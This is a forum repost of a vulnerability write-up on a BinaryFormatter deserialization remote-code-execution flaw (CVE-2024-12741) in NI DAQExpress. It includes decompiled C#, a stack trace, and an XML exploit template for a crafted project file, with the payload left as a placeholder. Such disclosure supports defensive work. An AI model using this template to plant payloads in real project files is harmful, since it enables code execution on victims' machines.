Dark
Owner
- Joined
- Mar 21, 2024
- Messages
- 41
[CVE-2024-12741] - NI DAQExpress - Remote Code Execution
P.S> This content's original source: https://exploit7.tr/posts/daqexpress/
Product: NI DAQExpress < 5.1
Severity:
CVSS3 - 7.8
CVSS4 - 8.4
Explanation:
While reviewing the Daqexpress product, multiple
deserialization
vulnerabilities (XamlReader, BinaryFormatter) were discovered. Today, the focus will be on analyzing the BinaryFormatter
vulnerability.The application operates with multiple features, and the part of interest is the one that takes a project file from the user and processes it.
Deserialize:

1. It defines the BinaryFormatter class.
2. It base64 decodes the
serializedValue
string.3. The
DataValueSerializer
class checks the CompressionMethod enum to determine whether the compression is "none" or "gzip". If the compression is "gzip", it decompresses it and then deserializes.4. If the compression is
None
, it directly deserializes.DataItem:
Parse
method will break down the arrays within the provided XML and send each part to the RecursiveParse
method.
C#:
public bool Parse(XElement serializedArray, Array deserializedArray, long[] dimensionLengths, DataValueSerializer.CompressionMethod compression)
{
long[] array = new long[dimensionLengths.Length];
this._elementGroups = serializedArray.Elements().ToArray<XElement>();
this._groupIndex = 0;
return this.RecursiveParse(array, dimensionLengths, 0, deserializedArray, compression);
}
DataItem
class takes specific data from us, including properties like AdaptToDiagramType
,DataType
,Compression
, and IsBinary
. The Compression section refers to the data we saw in the ParseElement
class, which indicates what the compression type is, such as gzip. Also, the DataItem
class is the class we will exploit.
C#:
public sealed class DataItem : DfirElement, ISortableDataItem
{
...
// Token: 0x17000320 RID: 800
// (get) Token: 0x06000A3B RID: 2619 RVA: 0x00019E1B File Offset: 0x0001801B
// (set) Token: 0x06000A3C RID: 2620 RVA: 0x00019E23 File Offset: 0x00018023
public bool AdaptToDiagramType { get; set; }
// Token: 0x17000321 RID: 801
// (get) Token: 0x06000A3D RID: 2621 RVA: 0x00019E2C File Offset: 0x0001802C
// (set) Token: 0x06000A3E RID: 2622 RVA: 0x00019E34 File Offset: 0x00018034
public TryGetAcceptableAccessorTypeFunction AdaptToDiagramTypeBehavior { get; set; }
// Token: 0x17000322 RID: 802
// (get) Token: 0x06000A3F RID: 2623 RVA: 0x00019E3D File Offset: 0x0001803D
// (set) Token: 0x06000A40 RID: 2624 RVA: 0x00019E45 File Offset: 0x00018045
public IList<DataItemBindingInfo> BindingInfo { get; private set; }
// Token: 0x17000323 RID: 803
// (get) Token: 0x06000A41 RID: 2625 RVA: 0x00019E4E File Offset: 0x0001804E
// (set) Token: 0x06000A42 RID: 2626 RVA: 0x00019E56 File Offset: 0x00018056
public int BufferSize { get; set; }
// Token: 0x17000324 RID: 804
// (get) Token: 0x06000A43 RID: 2627 RVA: 0x00019E5F File Offset: 0x0001805F
// (set) Token: 0x06000A44 RID: 2628 RVA: 0x00019E67 File Offset: 0x00018067
public bool IsLatched { get; private set; }
// Token: 0x17000325 RID: 805
// (get) Token: 0x06000A45 RID: 2629 RVA: 0x00019E70 File Offset: 0x00018070
// (set) Token: 0x06000A46 RID: 2630 RVA: 0x00019E78 File Offset: 0x00018078
public string CompiledName { get; set; }
// Token: 0x17000326 RID: 806
// (get) Token: 0x06000A47 RID: 2631 RVA: 0x00019E81 File Offset: 0x00018081
// (set) Token: 0x06000A48 RID: 2632 RVA: 0x00019E89 File Offset: 0x00018089
public string ConnectorPaneName { get; private set; }
// Token: 0x17000327 RID: 807
// (get) Token: 0x06000A49 RID: 2633 RVA: 0x00019E92 File Offset: 0x00018092
// (set) Token: 0x06000A4A RID: 2634 RVA: 0x00019E9A File Offset: 0x0001809A
public IList<DataAccessor> DataAccessors { get; private set; }
// Token: 0x17000328 RID: 808
// (get) Token: 0x06000A4B RID: 2635 RVA: 0x00019EA3 File Offset: 0x000180A3
public IList<Node> DependentNodes { get; }
...
// Token: 0x040002CC RID: 716
private NIType _dataType;
// Token: 0x040002CD RID: 717
private object _defaultValue;
// Token: 0x040002CF RID: 719
private DfirRoot _dfirRoot;
}
}
Stack Trace:
C#:
NationalInstruments.SourceModel.Persistence.DataValueSerializer.BinaryArrayParser.ParseElement(string, DataValueSerializer.CompressionMethod) : IList @0600D896
NationalInstruments.SourceModel.Persistence.DataValueSerializer.BinaryArrayParser.RecursiveParse(long[], long[], int, Array, DataValueSerializer.CompressionMethod) : bool @0600D895
NationalInstruments.SourceModel.Persistence.DataValueSerializer.BinaryArrayParser.Parse(XElement, Array, long[], DataValueSerializer.CompressionMethod) : bool @0600D894
NationalInstruments.SourceModel.Persistence.DataValueSerializer.ParseDataValueAsXmlHierarchy(Element, DataTypeReferenceTable, NIType, XElement, out object) : bool @060056CB
NationalInstruments.SourceModel.Persistence.DataValueSerializer.ParseDataValue(Element, DataTypeReferenceTable, NIType, XElement, out object) : bool @060056C4
NationalInstruments.SourceModel.Persistence.DataValueParserContext.ParseDataValue(out object) : bool @0600555A
NationalInstruments.SourceModel.Persistence.DataValueSerializer.FixupDataValue(Element, DataTypeReferenceTable, SerializablePropertySymbol, XDocument, ICompositionHost) : void @060056C2
NationalInstruments.SourceModel.Persistence.DataValueSerializer.TryParse(SerializablePropertySymbol, IElementPropertyParser, out object) : bool @060056C0
Important Part:
C#:
private void FixupDataValue(Element owner, DataTypeReferenceTable typeTable, SerializablePropertySymbol propertySymbol, XDocument xDoc, ICompositionHost host)
{
IDataTypeReferenceOwner dataTypeReferenceOwner = owner as IDataTypeReferenceOwner;
if (dataTypeReferenceOwner == null)
{
throw new InvalidOperationException("The owner must implement the IDataTypeReferenceOwner interface");
}
NIType dataType = this.GetDataType(dataTypeReferenceOwner, propertySymbol);
object obj = null;
XAttribute xattribute = xDoc.Root.Attribute("CookieReference");
if (xattribute != null)
{
string value = xattribute.Value;
if (value != "null")
{
ICookieJar sharedExportedValue = host.GetSharedExportedValue<ICookieJar>();
XAttribute xattribute2 = xDoc.Root.Attribute("CookieJar");
if (xattribute2 != null && Guid.Parse(xattribute2.Value) != sharedExportedValue.CookieJarId)
{
throw new InvalidParseException("Copying clipboard contents with cookie references isn't supported between different processes.");
}
Cookie cookie = sharedExportedValue.GetCookie(value);
if (cookie != null)
{
obj = DataCopyHelper.DeepCopy<object>(cookie.Thing);
}
}
}
else
{
DataValueSerializer.ParseDataValue(owner, typeTable, dataType, xDoc.Root, out obj);
}
owner.SetPropertyValue(propertySymbol, obj);
}
The key part to pay attention to is the
CookieReference
block. If we leave this section empty, it will redirect us to the ParseDataValue
method, and the remaining trace operations will continue from there.
C#:
internal static bool ParseDataValue(Element owner, DataTypeReferenceTable typeTable, NIType currentType, XElement currentElement, out object dataValue)
{
XText xtext = currentElement.Nodes().OfType<XText>().FirstOrDefault<XText>();
string text = ((xtext != null) ? xtext.Value : null);
if (DataValueSerializer.ParseSimpleDataValue(currentType, text, out dataValue))
{
return true;
}
XElement xelement = currentElement.Elements().FirstOrDefault<XElement>();
if (xelement != null && DataValueSerializer.ParseDataValueAsXmlHierarchy(owner, typeTable, currentType, xelement, out dataValue))
{
return true;
}
throw new InvalidParseException(string.Format(CultureInfo.InvariantCulture, "Failed to parse data value {0} for data type {1}.", currentElement, currentType.AsFormattedString));
}
Exploit Part:
XML:
<DataItem AdaptToDiagramType="True" DataType="Boolean[]" Id="1" Name="" xmlns="http://www.ni.com/MocCommon">
<p.DefaultValue>
<Array Lengths="2" IsBinary="" Compression="GZip/None">
<Exploit7>[base64 (none) or Gzip data]</Exploit7>
</Array>
</p.DefaultValue>
</DataItem>
Exploit Video: